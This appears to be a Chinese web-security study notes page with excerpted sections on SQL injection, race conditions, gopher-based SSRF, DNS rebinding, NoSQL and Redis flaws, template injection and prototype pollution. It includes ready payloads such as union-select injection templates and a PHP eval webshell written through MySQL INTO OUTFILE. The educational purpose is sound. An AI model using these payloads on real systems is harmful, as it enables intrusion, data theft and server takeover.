SQL 注入的原理及测试
SQL 注入原理:SQL 注入的本质是代码与数据未分离。当用户可控的输入被直接拼接到 SQL 语句中执行时,攻击者可以通过构造恶意输入改变原有 SQL 的逻辑,从而执行非预期的数据库操作。 产生条件有两个: 用户可控:输入参数用户可以控制 拼接执行:输入被直接拼接到 SQL 语句中并执行 SQL注入的检测与攻击技术:检测思路: 先寻找注入点 → 判断字段数 → 逐步查询数据库名、表名、列名,最终获取敏感数据。 常见攻击类型: 中文名 原理 利用条件 联合查询注入 利用 union 联合查询拼接结果 页面有回显位 报错注入 利用数据库函数的报错信息回显数据 页面显示数据库报错 布尔盲注 基于页面真假变化逐位猜解数据 页面有布尔状态变化 时间盲注 利用 sleep 等函数的执行时间差猜解 页面无任何回显 堆叠注入 堆叠执行多条 SQL 语句 后端支持多语句执行 SQL注入的防御方法: 预编译(参数化查询):最有效的防御手段,使用 ? 占位符绑定变量,攻击者无法改变 SQL 结构。 使用存储过程:将 SQL 逻辑封装在存储过程中,但存储过程内部如果拼...
条件竞争
条件竞争(Race Condition)是一种并发编程中的漏洞,当两个或多个进程或线程同时访问共享资源(如文件、数据等)时,最终结果取决于它们执行的相对时序。在Web安全中,攻击者可以利用条件竞争在某个短暂的时间窗口内执行本应被限制的操作,例如在文件被创建但被删除前访问它。 文件上传+文件包含组合利用 场景: 123456// 上传文件后立即检查并删除if(upload_file()){ if(check_malicious($file_path)){ unlink($file_path); // 删除恶意文件 }} 利用方式: 攻击者上传包含Webshell的文件 在文件被删除前,快速发起文件包含请求执行恶意代码 需要多线程并发攻击抢占时间窗口 账户余额并发操作 漏洞代码: 1234567891011// 购买商品逻辑function buy_product($user_id, $product_price){ $balance = get_balance($user_id); //...
gopher 协议
gopher协议的利用 - FreeBuf网络安全行业门户 SSRF利用协议中的万金油——Gopher_dict协议-CSDN博客 什么是gopher协议gopher协议可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。 很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。 gopher的协议格式如下: 1234gopher://<host>:<port>/<gopher-path>_<TCP数据流> <port>默认为70发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码 gopher发送请求curl发送端:ubuntu 监听段:vps gopher协议传递HTTP的GET请求http访问并抓包 可以直接在Burpsuite 中...
SQL 注入类型
1. 数字型注入原理:参数为数字直接拼 SQL,无引号包裹,输入 ' 直接报错。 代码特征:参数直接拼接,无任何引号包裹。 1$sql = "SELECT * FROM users WHERE id = ".$_GET['id']; 危险函数: 123mysqli_query($conn, $sql) // MySQLi 过程化$pdo->query($sql) // PDOmysql_query($sql) // 老版本 MySQL 扩展 注入模板123456789101112131415161718192021222324-- ① 判断列数?id=1 order by 3--+-- ② 判断回显位?id=-1 union select 1,2,3--+-- ③ 查库名?id=-1 union select 1,database(),3--+-- ④ 查表名?id=-1 union select 1,group_concat(table_name),3 from inf...
DNS 重定向
文章:https://zhuanlan.zhihu.com/p/89426041 工具:https://lock.cmpxchg8b.com/rebinder.html DNS原理:https://www.ruanyifeng.com/blog/2016/06/dns.html1.DNSDNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。就是根据域名查出IP地址。你可以把它想象成一本巨大的电话本。举例来说,如果你要访问域名math.stackexchange.com,首先要通过DNS查出它的IP地址是151.101.129.69。 2.DNS TTLTTL值全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。 当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授...
NoSQL + MongoDB + SQLite
Nosql 注入从零到一-先知社区 Nosql一、前置知识1.什么是NosqlNoSQL 数据库(意即”Not Only SQL,不仅仅是SQL”)并非表格格式,其存储数据的方式与关系表不同。NoSQL 数据库的类型因数据模型而异。主要类型包括文档、键值、宽列和图形。它们提供了灵活的模式,可以随大量数据和高用户负载而轻松扩展。NoSQL 数据库是以关系表以外的格式存储数据的数据库,是一种非关系型数据库。 2.NoSQL数据库类型 二、NOSQL注入1.原理NoSQL 注入不同于传统的SQL注入。传统的SQL注入是攻击者在网站未作防护的情况下利用特意构造的SQL语句替换原本的语句来达到读取数据库信息,获取权限等操作。虽然NOSQL不同于传统SQL,但是,有人的地方就有江湖,有数据库存在的地方就可能存在 SQL 注入漏洞。NoSQL 数据库也不例外。区别在于NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危...
Redis 相关漏洞
Redis 是一个高性能的key-value数据库 启动redis 1redis-server redis.conf 如图所示,此时默认端口为6379,没用密码,这时候会导致未授权访问。 1.Redis未授权访问漏洞原理Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。 漏洞复现复现环境: kali2020(安装有redis3.2.0) kali2021(安装有redis4.0.8) 编辑redis配置文件redis.conf: 前面加上#号,去掉IP绑定,允许除本地外的主机登陆redis服务: 修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接: 重新启动redis 2.r...
SSTI 模板注入
🔴1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 SSTI漏洞浅析(常见模板注入、waf绕过) - Antoniiiia - 博客园 一篇文章带你理解漏洞之 SSTI 漏洞 - K0rz3n’s Blog 什么是SSTI 什么是 SSTI? 服务端模板注入漏洞 用户输入被直接拼接到模板中执行 导致任意代码执行(RCE) SSTI 与普通注入的区别 12345678# SQL 注入:影响数据库"SELECT * FROM users WHERE name = '" + user_input + "'"# 命令注入:影响系统命令os.system("ping " + user_input)# SSTI:影响模板引擎template.render("Hello " + user_input) 漏洞产生原因 12345# 安全用法(数据与代码分离)template.render(name=user_input)# 危险用法(直接拼接)templa...
SQL 注入写 shell
通过 MySQL 写入 WebShell 是一种常见的安全测试技术,通常需要特定权限和配置。 方法 1:使用 OUTFILE 写入 Shell原理:把 SELECT 查询结果写入文件。 条件: 数据库用户具有 FILE 权限。 知道目标网站的绝对路径,并且该路径具有写入权限。 secure_file_priv 参数未限制写入路径。 执行以下 SQL 语句,将一句话木马写入文件: 1SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:/phpStudy/WWW/shell.php'; 验证文件是否成功写入,并通过 Web 访问测试。 注意:OUTFILE 会在每行末尾添加换行符,适合写文本文件。 如果路径受限,可尝试修改 MySQL 配置文件中的 secure_file_priv 参数。 方法 2:利用全局日志写入 Shell原理:开启 MySQL 通用日志(general log),把日志文件路径改成网站目录下的 .php,然后执行一句带木马的 ...
原型链污染
1.Python原型链污染Python原型链污染是一种通过修改对象原型链中的属性,导致程序行为偏离预期的攻击技术。其核心原理与JavaScript原型链污染类似,但实现方式因语言特性而有所差异。 原型继承特性Python中每个对象通过__class__属性指向其所属类,类通过__base__属性指向父类。当访问对象属性时,若当前对象/类中未定义,会沿原型链向上查找14。 污染条件需要存在递归合并函数(如merge)且未对特殊属性过滤 在 Python 中,每个对象都有一个原型链。当访问属性时,程序会先在对象本身查找,若找不到则沿着原型链向上查找。通过污染类的属性,可以影响所有实例的行为。 2.污染条件与污染分析:原型链污染需要merge合并函数 例1:一个最简单的原型链污染: 1234567891011class Config: is_admin = False def set_config(cls, key, value): setattr(cls, key, value) def get_config(cls, key): ...